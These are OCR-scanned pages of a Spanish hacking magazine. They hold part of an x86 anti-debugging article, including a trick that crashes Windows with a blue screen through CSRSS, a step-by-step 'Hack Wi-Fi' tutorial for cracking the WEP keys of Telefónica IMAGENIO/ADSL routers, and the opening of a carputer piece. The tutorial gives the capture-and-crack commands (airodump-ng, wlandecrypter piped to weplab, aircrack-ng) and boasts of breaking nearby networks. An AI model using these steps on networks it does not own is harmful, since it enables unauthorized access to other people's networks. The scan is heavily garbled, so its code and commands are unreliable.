jz 8we are not debugged

fevil ma: 7 la ejecucidn del programa llega aqui, cuando se ataches
ink 3 i el debugger a la aplicacidn

#we_are not debugged: ; SEH debugger no detectado, o no hay suficientes
f privilegios

Entonces, cuando una aplicacidn es debugeada, es capaz de abrir CSRSS.EXE v en
ese caso OpenProcess no va a fallar.
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ejecutamos CsrEetProcessId, para obtener CSRESS ID

push eax

push D

push 0C3ah

dcallx OpenProcess i
Cast eax, sax

jz, exit v

abre al proces C5RS5S

alléd la abertura del proceso

Hh

1 1234567Th ; esta direccitn no existe como veran @)
push 0
EdxX
E’r__w CreateBemotaeThread ;o creamos un thread dentro del proceso, *ESOD®
exit:
push 0
Bcally ExitProcess

Este trozo de ciodigo de aqui arriba, que explicaré paso a paso, genera lo que se denomina un BSOD, que significa Blue Screen
Of Death. La famosa y bien conocida pantalla azul de la muerte, de Windows.

Como vemos intentamos abrir el proceso CSRSS, y si falla entonces no hay debugger corriendo, pero si no falla, generamos el

fallo, porque hay un debugger corriendo.




© - ANTIDEBUGGING

Segundn Ejemplo (CheckRemo-
teDebuggerPresent)

‘ | El tipico truco antidebugging, que utiliza

las API's de WindowsXP. el cudl es facil
de parchear, ya que esta funcidn de Win-
dows, como otras parecidas, tienen un
I nombre muy significante para el atacante.

| push offset is present
f i nuestra variable
push =1 roel ddentificador del proceso
mov eax, 07TTEESE2Bh ¢ la direccidn de la APT
call eax ¢ CheckRemotebebuggerPresent gque ejecutaremos

mov eax,dword ptr [is present]
test eax,eax
JZ dwe_are not debugged ; no se encontrd el debugger

Bwe are debugged: ; encontramos un debugger :)
int 3

SESSSSEE e —

15. present dd 0

Vemos, que simplemente, podemos

' Ilamar esa AP|, directamente, y chequear EL TIPICO TRUCO
‘ -]el ;alc:r de retorno. En ese caso tomamos ANTIDEBUGGING, QUE UTILIZA
a decision. '

Fara eso tenemos el mismo, método LAS A Pr's D-E WINDOWSAR EL
pero emulando el proceso, veamos como CUAL ES FACIL DE PARCHEAR

| funcionaria:

lea eax,our_process handle
| push eax
| mov- ebx, esp

push 0

push 4

push ebx

push 7

push dword ptr [sax]

mov. eax, 07 TESBDDER

call eax i ejecutamos la API: NoQueryIinformationProcess
' pop acx
test eax,eax
j1 exit

Cargamos lodos los parimetros para
la API, y luego la ejecutamos, luego, en
ese caso, tomamos la decision.

cmp acx, 0
jge Bwe are not debugged

int 3 7 encontramos. un debugger!

fwe are not debugged: - no hay un debugger...
exit:

push 0

fcallx ExitProcass

our process handle dd. -1

@40




Vemos que la decisién es tan simple de tomar como en
el algoritmo anterior con CheckRemoteDebuggerPesent.

5i buscamos la definicidn de la AP, NtQuerylnformatio-
nProcess, en Microsoft, encontraremos:

NTSTATUS WINAPI HtQuervInformationProcess|(
HANDLE ProcessHandle,
PROCESSINFOCLASS ProcessInformationClass,
EVOID ProcessInformation,
ULOMG ProcessInformationLength,
PULONG ReturnLength

) :

Entendemos entonces, con los pardimetros un poco mas
como funciona. Lo mds importante de todos estos parime-
tros, es el segundo que se denomina Processinformation-
Class.

Como veremos, {de atrds hacia arriba, contando los
PUSH antes de la llamada a la API), el segundo parimetro,
vale 7. 5i observamos la definicidn de Microsoft, nos dira:

ProcessInformationClass

[in] The type of process information to he
retrieved. This parameter can be one of the
following walues from the PROCESSIMFOCLASS
enumaration.

La parte del cuadro coloreada con rojo, es el parimetro
utilizado. Lo que Microsoft quiere significarnos con su des-
cripcidn, es que debemos pasarle un valor que no sea cero,
gue significa que el proceso estd siendo controlado por un
debugger de ring 3.

Luego nos dice que es mejor utilizar la funcion que utili-
zamos como ejemplo anterior.

Como veremos, es lo mismo que utilizar CheckRemote-
DebuggerPresent, pero tomando otro “camino” alternativo.

ANTIDEBUGGING

Protection Error

A

Debugger detected - please dose it down and restart!
Windows NT users: Please note that having the

Winlce/Softice service installed means that you are
running a debugger!

oK)

Errore

Q [256] Debugger detected - phease disable it and restart the application.

(e

ALGUNOS CRACKERS,
CUANDO UTILIZAN
SOFTICE, PARA DEBUGGEAR
A SUS “VICTIMAS”,
BUSCAN TERMINAR EL
PROCESO QUE ESTAN
DEBUGEANDO, USANDO
UN "R EIP EXITPROCESS",
O ENSAMBLANDO UN
JMP O CALL DIRECTO A
EXITPROCESS.

ProcessBasicInformation

Retrieves a pointer to a PEE structure that can be used to determine

0 : whether the specified process is being debugged, and a unigue wvalue uszed
by the system to identlfy the specified process.

It iz best to use the CheckRemoteDebuggerPresent and GetProcessId
functions to obtain this information.

ProcessDabugPorkt
"

Retrieves a DWORD PTR walue that is the port number of the debugger for
the. procesg, A nonzero value indicates that the process is bheing run

under the control of a ring 3 debugger.

It iz best to use the CheckRemoteDebuggerFresent or IsDebuggerPreszent
¥ . PRS-

TUONCTLON .

BropessWowgdInformation

Windows) .

Determines whether the process is running in the WOWEd environment (WOWE4
el is the xBb6 emulator that allows Win32=-based applications to run on &4-hit

It is best to use the IsWowb4Process function to obtain this information.

ProceszImageFilelame
27 for the process.

Retrieves a UNICODE STRING value containing the name of the image file

@
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Seguimos descubriendo mas caracteristicas de las redes inalambricas de IMAGENIO y ADSL de
Telefénica. Ahora toca realizar los ataques para la auditoria inalambrica desde Microsoft Windo-
ws y utilizar herramientas alternativas a aircrack-ng. También, en este articulo, lanzamos al aire
un problema del que todavia desconocemos su solucién... auque nos adelantamos a los aconte-
cimientos y estudiamos algunas posibles soluciones. ;Estaremos en lo cierto?

Bienvenidos de nuevo mis queridos War-
drivers. Aqui estamos otro mes mas en el
Taller de redes inalambricas que venimos
impartiendo por alld, por el ndmero
7104, en el mes de Mayo.

El mes anterior nos apartamos del
camino que venimos siguiendo. Hoy, con
el articulo de este mes, retomamos ese
camino,

En el articulo de este mes sepuiremos
hablando de las redes inalambricas de
IMAGENIO v ADSL de Telefanica. Pero
enfocado mayoritariamente para los siste-
mas operativos de Microsoft Windows.

5i el espacio lo permite también toca-
remos los problemas con los que nos po-
demos encontrar a la hora de realizar un
ataque de estas caracteristicas y aprende-
remos como solucionarlos. Y si no, serdn
temas que tocaremos el proximo mes.

En ocasiones recoger trafico inalam-
brico se hace muy pesado y muy lento.
Recordad que para poder realizar el
ataque necesitamos recoger al menos
un paquete con vector de iniciacion (IV)
de la red inalambrica objetivo. Recordar
también que los beacons frames no sir-
ven para romper un cifrado WEP.

Pues bien. Todas estas cosas las va-
mos a tocar en el articulo de hoy. Espero
que os resulte tan interesante como los
articulos pasados del Taller Hack Wi-Fi.

Recardar (si, ya se que soy pesado
con esto) que tenéis a vuestra disposicion
mi correo electronico: nettinghxc@gmail.
com para que poddis poneros en con-

@44

tacto conmigo. Os ruego que no utilicéis
mi correo para que os resuelva preguntas
acerca del curso Hack Wi-Fi o cualquier
otra duda relacionada con el mundo
inaldmbrico. Para eso disponéis de varios
foros donde ||mdré y contestaré todas
vuestras posibles dudas: http:/fwww.hac-
kwifi.tk y httpzifwww.wadalbertia.org. De
esta manera ayudaremos a enriquecer el
foro v que posibles usuarios con las mis-
mas preguntas ya tengan la solucidn a sus
problemas.

Por dltimo mencionar mi blog donde
voy anadiendo noticias de interés gene-
ral, las portadas de las revista asi como
una breve descripcidn de mis articulos
publicados {también los del amigo Dea-
th_Master, que por cierto, ahora se ha
montado un blog!! JA!! Has caido como
los demds muhahahaha.

Bueno, pues nada mds. Empecemos
de una vez...

Introduccion y Escenario

Este articulo vamos a intentar que sea lo
mas practico posible. La teoria ya la veni-
mos estudiando meses atrds. A estas altu-
ras ya debe de estar mds que entendida.
Primero vamos a poner un escenario:

- Red inalimbrica objetivo: WLAN_AD

- MAC del Router Inaldmbrico: 00:60:B3:
XXXX:XX

- Sistema Operativo: Microsoft Windows
- Tarjeta inalimbrica: Cualquiera que so-

porte el modo monitor en Windows y la
inyeccion de paquetes.

Muestro objetivo es romper el cifrado
WEP de 128 bits de la red inalambrica
objetivo.

Los pasos a seguir

En este apartado resumimos todos los pa-
508 (ue vamos a resumir todos los pasos
que vamos a realizar para llevar el ataque
de ruptura del protocolo de cifrado WEP
de redes inalambricas de IMAGENIO y
ADSL de Telefénica.

De principio los pasos a seguir son
iguales para los dos sistemas operativos.
Lo que cambiaria es el uso de las herra-
mientas, su instalacidn, su apariencia,
etc.

- Detectar la red inalambrica objetivo.

- Poner la tarjeta inaldmbrica en mo-
do monitor.

- Lanzar Airodump / Kismet. La elec-
cion dependera de las herramientas que
utilicernos.

PARA PODER REALIZAR

EL ATAQUE NECESITAMOS
RECOGER AL MENOS UN
PAQUETE CON VECTOR DE
INICIACION (1V) DE LA RED
INALAMBRICA OBJETIVO




- Lanzar Wlandecrypter o NeW-Fi.

- Y por dltimo, enlazar Wlandecrypter
con alguna de las siguientes herramientas
segun que caso: WepAttack, Weplab o
aircrack-ng.

Con estos pocos pasos y si las cir-
cunstancias son favorables podriamos
romper un cifrado WEP,

Vamos a aclarar algunas cosas antes
de pasar al ataque.

Wilandecrypter lo utilizaremos en
cualquiera de los dos sistemas operativos,
tanto en Microsoft Windows como en
GNU/LINUYX, al igual que aircrack-ng.

La diferencia entre un sistema ope-
rativo y otro es que WpAttack lo utili-
zaremos en GNU/LINUX y WepLab en
Microsoft Windows.

DEBEMOS DE ESTUDIAR
CUAL ES EL MEJOR LUGAR
PARA DETECTAR LA RED
INALAMBRICA, EVITAR EL
RUIDO

Un ataque real desde
Microsoft Windows.

Lo primero que vamos hacer es detectar
la red inaldmbrica objetivo. Para ello
podemos utilizar varios programas para
la detencidn de redes inaldmbricas. En
Hack Wi-Fi ya dedicamos las paginas ne-
cesarias para listar, describir y aprender
a utilizar varias aplicaciones para detec-
tar redes inaldmbricas, por ello, en esta
ocasion no nos pararemos mucho con el
asunto.

Detectar una red inaldmbrica es muy
importante. Debemos de estudiar cual es
el mejor lugar para detectar la red ina-
lambrica, evitar el ruido (acrénimo que
ya estudiamos en Hack Wi-Fi), etc. Todo
ello para poder realizar un ataque satis-
factoriamente.

De esta manera conoceremos cual es
la mejor posicion, si debemos de utilizar
antenas de mayor ganancia, elc.

Para esta ocasion voy a utilizar Net5s-
tumbler. Podéis descargaros la dltima ver-
sion de NetStumbler, la version 0.4.0, de
la siguiente direccidn: http:/downloads.
netstumbler.com/downloads/netstumble-
rinstaller_0_4_D.exe

Sino recorddis el funcionamiento de
MetStumbler podéis recurrir a |a revista
niimero #1711 o #112. Donde hablamos
de los detectores de redes inaldmbricas y

explicamos su utilizacidn.

Lina vez detectada la red inaldmbrica
objetivo, para el caso de este ataque real
WLAN_AQD, y realizado el estudio para
saber cual es la posicion mds apropiada
asi como los aparatos que debemos de
utilizar pasamos a recoger todos lo datos
de interés general que NetStumbler nos
brinda. Lo mds importante es la direccidn
MAC del punto de acceso, el cifrado
que utiliza (para esta ocasion un cifrado
WEP), el canal (channel) y el nombre de
la red inaldmbrica, que para el caso tiene
que ser: WLAN_XX, siendo XX dos nii-
meros en HEXADECIMAL.

Para el caso de este articulo:

- ESSID: WLAN_AD

« BSSID: 00:60:B3:XX:XX: XX
- Canal: 7

- Cifrado: WEP

Una vez encontrada la mejor posi-
cion para realizar el ataque y recogidos
los datos necesarios para la penetracian
en la red inalambrica pasamos a recoger
paquetes con vector de iniciacidn.

Captura de paquetes con
vector de iniciacion (IV)

Para caplurar los paquetes con vector de
iniciacian de la red inalambrica objetivo
vamos a utilizar airodump-ng de la suite
aircrack-ng.

Podemos descargarnos la suite air-
crack-ng ya compilada para Microsoit
Windows de la siguiente direccion:

hitp://download.aircrack-ng.org/air-
crack-ng-0.9.1-win.zip

Dentro de la carpeta aircrack-ng-win-
0.9.1 nos encontraremos un directorio
con el nombre BIN donde estardn alo-
jados todos los ejecutables de la suite
aircrack-ng.

Fara esta ocasion lanzaremos airo-
dump-ng.exe.

Airodump-ng nos ird preguntando
todos los pardimetros que necesita. Co-
menzard preguntindonos si tenemos ins-
talados los contralores necesarios.

Luego nos preguntard que interfaz
vamos a utilizar. Debemos de indicarle el
indice de las interfaces listadas con ante-
rioridad. En mi caso, por ejemplo: 11.

LUE§u nos pregunta que indiquemos
el tipo de interfaz. “o” Hermes | / Realtek
~"a" Alronet! Atheros.

MNos pregunta el canal que deseamos
utilizar para capturar trifico. Recordar
que para nuestro ejemplo utilizaremos el
canal 6.

2

Do you want the peek (From wildpackets) drivers installed? 5
Clicking on "Na" assume you have it installed.
Clicking on "Yes" will open a browser on the driver download page.
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Metwork interface indox mumber =3 11

‘of = Hermesl Realtek
*a®* = Aironet/Atheros

Metwork interface type {osa —3 a

Channel<z}: 1 ta 14, B = all =* 7

{nate? if yon specify the same out pref
ing ﬁ:- o

Intarface types:

ix,
the capture session by append the existing capture filed

Output Filename prefis =% hackwifi

{nate: to cave space and emly store the captured WEF IUs, -
The resulting capture file will only be useful for WEF fracking

Only write WEF IlUs <{yn} -*n

alrodump—ng B.7.1 — {C) 2886 Tho d* o
Original wr:.c}mhgsm Devine

usage: alrodumg—ng <nic indexd {nic typed {channeli{z}} {output prefix? [iws only Flagl

¥nown netwark adapters:
ii Hetwork Conmection
13 ida r s red 1374

Z k RTL8168-8111 PCI-E Gigabit Ethermet WIC

airodump will resuss

Luego indicamos el nombre del fi-
chero donde se guardarin los paquetes
capturados.

Por dltimo indicamos si deseamos
que tan solo se guarden los paquetes con
Vector de Iniciacion o también otros pa-
quetes capturados.

Lina vez que airodump-ng capture al
menos un vector de iniciacion de la
inalambrica objetivo [WLAN_AQ] para-
mos la captura con [Control] + [c].

Airodump-ng generard un fichero con
los paquetes capturados, incluidos los de
Vector de Iniciacidn, de la red inalimbri-
ca objetivo.

Pasemos ahora a generar el dicciona-
rio con todos los posibles Passphrases de
la red inaldmbrica objetivo de IMAGE-
NIO o ADSL de Telefonica.

Generando el diccionario de
los Passphrases

Hasta ahora ya obtuvimos los datos nece-
sarios de la red inaldmbrica tales como;
MAC del Router inalambrico de IMAGE-
NIO / ADSL de Telefdnica (BSSID), el ci-
frado que utiliza (para este caso siempre
el cifrado WEP), el canal que utiliza y el
nombre de la red inalambrica (ESSID).

Ya capturamos al menos un paquete con
vector de iniciacion de la red inalambri-
ca. Tan solo nos queda generar un diccio-
nario con todos los posibles Passprases de
la red inalambrica objetivo.

Para esta ocasion podriamos utilizar
wlandecrypter o NeW-Fi 0.1 [BETA] de-
sarrollado por el mismo autor que escribe
estas lineas ;). El mes pasado dedicamos
todo un articulo hablando de esta herra-

BESID PR Beacons B Data
NN b7 7 3
BESID STATION

6 i
PR Packets ESEID

ERvEEEalDaiat) T ieRReTRanT 27
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mienta desarrollada para el curso Hack
Wi-Fi de @rroba.

Para no descartar ninguna herramien-
ta vamos a describir los pasos necesarios
para utilizar las dos herramientas.

Empecemos con Wlandecrypter, por
es0 de ser generosos con nuestros hués-
pedes :b.

Generando el diccionario con Wian-
decrypter en MS Windows

Podemos y debemos descargarnos
Wilandecrypter de la pdgina oficial del
programa ya compilado para entornos
Microsoit Windows: htp:/iwww.fuerzai-
berica.com/nil/rusoblanco/descargas/
WianDecrypter-0.5_win32.zip

También, debemos de descargar el
crackeador desde sourceforge, estoy ha-
blando de WeplLab en su versién 0.1.5
hitp:/fswitch.dl.sourceforge.net’sourcefor-
ge/weplab/weplab-0.1.5_win32.zip

Una vez que nos hemos descargado
las dos herramientas que utilizaremos
posteriormente tenemos que juntarlas en
un mismo directorio para facilitarnos las
cosas y hacer todo mds sencillo y como-
do. Por ello descomprime wlandecryp-
ter-0.5_win32 y weplab-0.1.5_win32 en
el mismo directorio. No sirve que estén
en el mismo directorio pero en carpetas
diferentes. Las dos herramientas deben de
estar en el mismo directorio.

Abrimos el interprete de comandos
[Cmd.exe] desde Inicio - Ejecutar...

Mos movemos hasta la ruta donde he-
mos descomprimido las dos aplicaciones,

por ejemplo:
2% > cd HackWiFi

Y lanzamos los wlandecrypter y we-
plab de la siguiente manera:

wlandecrypter.exe bssid
essid | weplab --key 128 -y
==bssid bssid archivo de
paguatas

- wlandecrypter es la herramienta que
utilizamos para generar el diccionario de
los Passphrases.

- BSSID: Es un pardmetro que necesita

PARA ESTA OCASION
PODRIAMOS UTILIZAR
WLANDECRYPTER O NEW-FI
0.1 [BETA] DESARROLLADO
POR EL MISMO AUTOR QUE
ESCRIBE ESTAS LINEAS




andecrypter para generar el diccionario. Como deberiais de

a estas alturas es la direccion MAC del Router inalambrico

IMAGENIO o ADSL de Telefonica. En mi caso: 00:60:B3:XX:
R

- ESS1D: Otro parametro que necesita wlandecrypter para

-nerar el diccionario. Es el nombre de la red inalambrica obje-
v0. En mi caso: WLAN_AD

Luego introducimos un piper o tuberia *|" que lo que hace
es redirigir la salida de Wlandecrypter a weplab.

Weplab: Es la herramienta que crackea el Passphrases de la

2 i nalambrica objetivo de IMAGENIO o ADSL de Telefdnica
artir de del diccionario generado por Wlandecrypter y el
hero con los paguetes con vector de iniciacion de la red ina-

ambrica objetivo.

--key 128: Indica a Weplab que el cifrado WEP es de 128
Dits.

--bssid: Es un parametro que necesita Weplab para romper
la clave WEP de la red inalambrica.

Archivo_de_paquetes: Es el fichero que almacena los pa-
quetes cifrados, con vector de iniciacion, de la red inalimbrica
objetivo.

Segdn todo esto deducimos lo siguiente: Wlandecrypter se
encarga de generar el diccionario de los Passphrases sepin los
datos que introduce el usuario. Gracias al estudio de las redes
inalambricas de IMAGENIO y ADSL de Telefdnica ya sabemos
como genera parte del Passphrase. Luego, Wlandecrypter le pa-
sa lodos los Passphrases del diccionario a Weplab. Weplab va
comprobando si el Passphrases es correcto segun los datos que
introdujo el usuario, mayoritariamente por el fichero con los
vectores de iniciacidn de la red inalimbrica objetivo.

Aqui os dejo varias capturas de redes inalambrica cercanas
a mi laboratorio de investigacion que han sido rotas en pocos
segundos,

Pasemos ahora a describir el ataque desde NeW-Fi [BETA]
0.1.

Generando el diccionario con NeW-Fi en MS

Windows
El escenario serd el mismo que hemos estado utilizando hasta
ahora. El modo de capturar los paquetes con Vector de Inicia-
cion, tambien.

Mos descargamos NeW-Fi [BETA] 0.1 de la siguien-
te direccion: http:fwww.wadalbertia. Drg-"Enﬁx-.rarE.-’NE"u‘L’-
Fi%200.1%20%5bBETA%5d/NeW-Fi.zip

Descomprimimos el fichero y ejecutamos la aplicacion:

H'?"l'hw.ﬂ l'.I PEWWF e
Brchiva  Byuda
Nombre de la red inalémbrica (ESSID): | WLAN_AD |
Direccifin MAC del Router (BESID): [CaER T 1]
Marca del Router inalémbrico: | ZVREL |
Resultado:

Fompes cirads |

B VAN b s bt Pl nm

Luego vamos introduciendo los datos de la rede inaldmbrica
objetivo en los campos de NeW-Fi.

- El ESSID: WLAN_AD

- El BSSID: 00:60:B3:XX:XX:XX

¥ pulsamos el botdn “Calcular Resultado” para que NeW-

Fi calcule el resultado exceptuando los dos pares de digitos en
HEXADECIMAL gue desconocemos.

A partir que hemos conseguido el resultado pasamos a ge-
nerar el diccionario.

Para ello pulsamos en “Generar diccionario”, se nos abrird
una venta de dialogo donde debemos de indicar donde de-
seamos guardar el diccionario que alojard todas las posibles
Passphrases de la red inaldmbrica objetivo. Por defecto, en el
directorio diccionarios.

Tras esto el programa empieza a generar el diccionario en la
ruta seleccionada con el nombre indicado.

El programa nos indica que va se ha generado el dicciona-
rio. Con esto ya tendriamos creado el diccionario.

Pasemos ahora a explicar como sacar la clave WEP o el
Passphrases con el diccionario y con al menos un paquete con
Vector de Iniciacion de la red inalambrica objetivo.

Pulsamos en el botdn “Romper cifrado”. Se nos abrird otra
ventana de dialogo donde seleccionar el diccionario generado
para la red inalambrica objetivo.

Luego otra ventana donde debemos de indicar el paquete
con extension *.cap con el Vector de Iniciacion de la red ina-
lambrica objetivo.

Al cabo de unas décimas de segundo se creard un ru;:hﬂru de
texto con el nombre de la red inalambrica (ES51D) objetivo en la
subcarpeta WEP. Esta se abrird automdticamente.

5i todo ha ido bien obtendremos la clave WEP o el Passphra-

@47
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se en el fichero de texto con el nombre
de la red inalimbrica objetivo.

Si por el contrario, el fichero de tex-
to con el nombre de la red inalambrica
objetivo no aloja el Passphrase o la clave
WEF puede ser por diferentes causas,
Que no hayamos equivocado a la hora de
elegir: El diccionario o el fichero con los
paquetes con vector de iniciacion (1Vs).
Error en la direccion MAC del dispositivo
inalambrico objetivo, error en el ESSID
de la red inaldmbrica, etc...

Hasta aqui hemos visto como recoper
informacion de redes inalimbricas, como
capturar pagquetes cifrados de nuestra red
inaldmbrica objetivo, utilizando herra-
mientas como wlandecrypter y NeW-Fi
[BETA] 0.1 romper el cifrado WEP de la
red inaldmbrica objetivo de IMAGENIO y
ADSL de Telefénica con WepLab.

Pasemos ahora a conseguir un diccio-
nario con wlandecrypter o con NeW-Fi
y crackear una red inalambrica con Air-
crack-ng. Quizds a muchos esto os pa-
rezca innecesario... A mi por lo contrario
me parece mur impartante e interesante.

Sin ir mas lejos, en un hilo que he
creado en [as tierras de httpziiwww.
Wadalbertia.org (http://www.wadalber-
tia.org/phpBB2/viewtopic.phpit=3315)
presentando NeW.-Fi [BETA] 0.1, el pro-

SI UN ATACANTE O UN
USUARIO QUIEREN
COMPROBAR DE IGUAL
MANERA LA SEGURIDAD DE
ESTA RED INALAMBRICA
PODRIA HACERLO DE TODOS
MODOS

yecto, su funcionamiento, informacion
de la utilidad, etc. Ha surgido un usuario,
SLaYeR, que ha se ha topado con una red
inaldmbrica (aparentemente) de IMAGE-
NIO o ADSL de Telefdnica que no tiene
los tres primeros pares de digitos de la
direccidn MAC iguales a los que suelen
concordar con los tres pares de digitos
que suelen utilizar los Routers de IMA-
GEMNIO / ADSL de Telefonica (Comtrend,
Xavi, ZyXEL) ... Por lo tanto, ni NeW-Fi
[BETA] 0.1, ni Wlandecrypter saben tra-
bajar con este BSSID v, por lo tanto, lo
dan como invélido, cuando realmente no
tiene por que ser asi.

Si un atacante o un usuario quieren
comprobar de igual manera la seguridad
de esta red inalambrica podria hacerlo de
todos modos. Siempre y cuando conozca

el patrén que siguen estas redes inalim-
bricas.

MNosotros, los lectores de Hack Wi-Fi,
ya sabemos como funciona el patron que
siguen estas redes inaldimbricas y, con la
ayuda de NeW-Fi, podriamos comprobar
de igual manera la seguridad de esta nue-
va red inaldmbrica.

Seguramente ahora le veis mas impor-
tancia que antes, jverdad?

NeW-Fi [BETA] y
Wilandecrypter.

Comprendida la interesante posibilidad
que nos da comprobar la seguridad de
una red inaldmbrica (aparentemente) de
IMAGENIO y ADSL de Telefénica que
sigue un mismo patron que las redes
inaldmbricas anteriores pero que sin em-
bargo se diferencia en la direccién MAC
del Router inalimbrico, aspecto que en
teoria no tiene por que importarnos si si-
gue el mismo patron que las demds redes
inalimbricas investiguemos como podria-
mos comprobar la seguridad de dicha red
inaldmbrica “diferente”.

Lo primero que tenemos que hacer es
conseguir la direccién MAC (BSSID) del
Router inaldmbrico. Informacidn que po-
driamos conseguir con varias herramien-
tas ya citadas (NetStumbler, airodump-ng,
kismet, etc).

Para el caso, la red inaldmbrica cuen-
ta con un BSSID: 00:02:CF:XX:XX:XX.

El nombre de la red inaldmbrica es:
WLAN_F5

Lo siguiente es conocer el fabricante
del Router inaldmbrico. Para ello, pode-
mas buscar en el amigo google... que
nos enviaria a: http://standards.ieee.org/
regauth/oui/oui.txt

5i buscamos en este listado de fabri-
cante segtin su direccion MAC no encon-
traremos a nuestro Router inalambrico
objetivo. .. Sin embargo, si buscamos en
la pagina de httpwww.seguridadwire-
less.net mas concretamente http://hwagm.
elhacker.net/php/listadomac.php#lista
e insertamos en la caja de direcciones
MAC los tres primeros pares de digitos de
la direccion MAC del Router nos encon-
tramos con lo siguiente:

Fabricante 5I localizado
en base de datos

La direccidén MAC 00:0Z:
CEF corresponde al fabricante:
LyGate Communications, Inc.

Nimers de impresiones:
374491

Nimero de consultas
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Interesante. El Router inalambrico es
un ZyXEL. Por lo tanto, puede seguir el
mismo patron que las demas redes ina-
lambricas a excepcion de una cosa... Su
direccion MAC Ethernet también puede
variar. Y esto podria variar la forma de
calcular el Passphrases de la red inaldm-
brica.

Esto tendria ficil solucion si tuviése-
mos acceso al Router inalambrico. Con

ello podriamos comprobar cual es |a
direccion MAC de la interfaz ethernet y
calcular el Passprase.

Aunque si pensamos como atacantes,
si tuviésemos acceso al Router inalambri-
CO... jpara que demonios necesitariamos
romper su cifrado WEP de 128 bits?, un
poco ironico jverdad?

Probemos de la siguiente forma: Cal-
culemos el Passphrase de la misma ma-
nera que calculariamos el Passphrase de
cualquier otra red inaldmbrica de IMA-
GEMNIO o ADSL de Telefénica. Genere-
mos un diccionario con todas las posibles
Passphrases y con ayuda de aircrack-ng
intentemos conseguir la clave WEP de
128 Bits de esta nueva red inalambrica
“mutante”.

Desgraciadamente existe un inconve-
niente, Wlandecrypter v NeW-Fi [BETA] 0.1
na dan el BSSID como valido. Por lo tanto
no nos van a permitir generar el dicciona-
rio... jjHouston tenemos un problemall.

La dnica alternativa que nos queda
es modificar el codigo de NeW-Fi [BE-
TA] 0.1 para que nos permita de igual
manera “Calcular el resultado” v “Ge-
nerar el diccionario”. Todo ello gracias
a que NeW-Fi [BETA] 0.1 es Software
Libre. Desgraciadamente no podremos
hacer lo mismo con wlandecrypter, su
codigo no ha sido liberado... Con esto
reducimos el ataque a tan solo un sis-
tema operativo... Microsoft Windows.
JQuien nos lo iba a decir?. Recordar que
todavia no se ha desarrollado NeW-Fi
para entornos GNLLINUX,

Os prometo que para cuando esté
publicado este articulo ya contaréis con
MeWW-Fi [BETA] 0.2. Recordar que yo
redacto los articulos mucho antes de ser
publicados :).

Una vez que generamos el diccio-
nario con NeW-Fi [BETA] 0.2 tan solo
tenemos que lanzar aircrack-ng con los
siguientes parametros.
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Aircrack-ng -w diccionario
ficheros con paguetes con IV

Luego nos queda esperar y tener
suerte.

Puede darse la casualidad de que air-
crack-ng no haya sido capaz de romper
la red inaldmbrica “mutante” pero que
siga un mismo patron que las demas re-
cdes inaldmbricas de IMAGENIO y ADSL
de Telefonica. Recordar que podria
utilizar para generar el Passphrase una
direccion MAC de la interfaz Ethernet
diferente a la que vienen utilizando los
Routers ZyXEL.

Desgraciadamente, en el articulo
de hoy, no podemos comprobar si todo
esto seria valido o habria gue cambiar
alguna cosa... aunque quizas IMAGE-
NIO o ADSL de Telefonica han decidido
cambiar la forma de generar claves WEP
a sus clientes... Algo que me extrana, la
verdad.

Mos quedaremos con la duda hasta
que se resuelva el problema. El reto estd
ahi... jjdiez puntos para el primero que
pueda resolverlo!!. Mo se a vosoltros, pero
a mi me encantan este tipo de retos...
Solo investigando podremos dar con la
solucian, Espero que pueda hablamos
pronto de ella...

De igual manera os ensenaré como
generar un diccionario con wlandecryp-
ter. Ya que con NeW-Fi [BETA] ya sabe-
mos generarlo.

En el articulo de hoy utilizamos una
tuberia, también conocido como pipe,
que lo que hace es redirigir [a salida de
un comando o programa a la entrada de
otro comando o de otro programa. Todo
ello simultaneamente.

5i utilizamos wlandecrypter sin el
pipe o tuberia y sin WeplLab obtendremos
lo siguiente:

Wlandecrypter BSSID ES3ID

Wilandecrypter va imprimiendo en
pantalla un por uno todos los posibles
Passphrases de |a red inalimbrica obje-
livo,

5i queremos almacenarlos todos en
un fichero de texto plano tan solo te-
nemaos que redireccionar la salida a un
tichero de texto con los siguientes para-
metros.

B C:\WINDOWS \system32\cmd.exs
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Conclusiones

Parece que ha medida que vamos estudian-
do un tema van apareciendo nuevos proble-
mas y desafios que vamos solucionando.

Para todos aquellos que no podais
dormir sin saber la respuesta del proble-
ma formulado de este articulo ;b, podéis
seguir mads de cerca el asunto en este
hilo: http:/fwww.wadalbertia.org/phpBB2/
viewtopic.php?t=3315&start=15

Donde seguramente estaré partici-
pando activamente. Mo os corteis ni un
pelo y ofrecer lodas vuestras opiniones
respecto al asunto (claro, hombre, no te
me pongas a hablar de los buenos huevos
fritos que hace tu madre. .. jjay, ese co-
lesteral!!).

HEMOS LANZADO UN
PROBLEMA AL AIRE
Y HEMOS ESTUDIADO
ALGUNAS FORMAS DE COMO
PODRIAMOS SOLUCIONARLO.
ASPECTOS QUE ME PARECEN
MUY INTERESANTES PARA
DESARROLLAR NUESTRAS
MENTES

He prometido que para cuando este
publicado este articulo ya estara liberado
la version NeW-Fi [BETA] 0.2. Espero que
pueda cumplir mi palabra.... v sino a la
hoguera de cabeza. Por ello, estar atentos
a mi blog: httpz//www.netting. wordpress.
Com.

En este articulo hemos aprendido
a realizar los ataques contra las redes

inalambricas de IMAGENIO y ADSL de
Telefdnica desde Microsoft Windows.
Que como veis es lambién muy sencillo.
Hemos lanzado un problema al aire

y hemos estudiado algunas formas de
como podriamos solucionarlo, Aspectos
que me parecen muy interesantes para
desarrollar nuestras mentes.

En el proximo nimero
En el proximo capitulo espero meter-
nos va en la problematica de las redes
inalambricas de IMAGENIO / ADSL de
Teletdnica. Que si no sueltan los paque-
tes con vector de iniciacion... Que si se
encuentra un cliente conectado... que s
no hay estacion... que si los vectores de
iniciacion no crecen muy deprisa. Bue-
no, de todo esto v mas hablaremos en el
praximo capitulo de Hack Wi-Fi. Aunque
no profundaremos en el asunto, por que
de ello hablaremos mas adelante en un
articulo que tengo preparado para ello.
Un saludo y ojo con los buenos hue-
vos fritos que hace tu madre d;b

Mos vemos en el prr’rximn namero de
Hack Wi-Fi.

MeTTinG (Enrique Andrade Gonzilez)
nettinghxc@®gmail.com
http://www.wadalbertia.org
http://www.hackwifi.tk
hitp://www.blognetting.tk
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LARPUIER

TU PROPIO COCHE FANTASTICO

Entre el tuning y el
modding, podria de-
cirse que se encuentra
el carputer. O no. O
si. Bueno, donde sea,
tampoco nos vamos a
poner a discutir. Hay
quien dice que actual-
mente no tiene mucho
sentido ponerse a mon-
tar un ordenador para
meterlo en el salpica-
dero, habiendo GPS a
buen precio y repro-
ductores multimedia

- portétiles con sus dos

pantallitas y todo. Pero
no se puede negar eso
de que “mejor si lo ha-
